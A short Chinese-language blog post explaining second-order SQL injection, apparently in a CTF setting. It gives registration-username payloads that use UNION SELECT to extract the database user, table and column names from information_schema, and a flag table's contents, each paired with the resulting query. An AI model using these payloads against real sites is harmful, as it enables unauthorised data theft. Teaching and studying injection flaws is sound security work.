二次注入原理讲解

二次注入是指对已存的数据库内容被读取后再次进入查询语句之后产生的恶意SQL语句称之为二次注入,可能网站对我们输入的内容进行了转义,但是可以在没有转义的地方进行使用。

例如在注册页面,插入了相关的恶意语句,假如注册用户名是1' union select 1,user()#

这样的话,在再次构建SQL语句后台会回显这样的数据。

执行语句:select * from users where admin='1' union select 1,user();

返回数据库用户名称。

如果继续,注册用户名是1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

执行语句:select * from users where admin='1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database());

返回数据是表名。

再次继续,获取flag的列,只需要构建出列出表的列的语句即可,注册用户名是:1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167)#
构建查询语句:select * from users where admin='1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167);

返回列名:

那么继续,获得flag的值就是注册用户名:1' union select 1,(select group_concat(content) from flag)#

构建查询语句:select * from users where admin='1' union select 1,(select group_concat(content) from flag);

返回数据:

那么这就是二次注入原理了,喜欢本文章的可以点击收藏。

posted @ 2019-08-24 21:38  WINDECODE  阅读(2752)  评论(0)    收藏  举报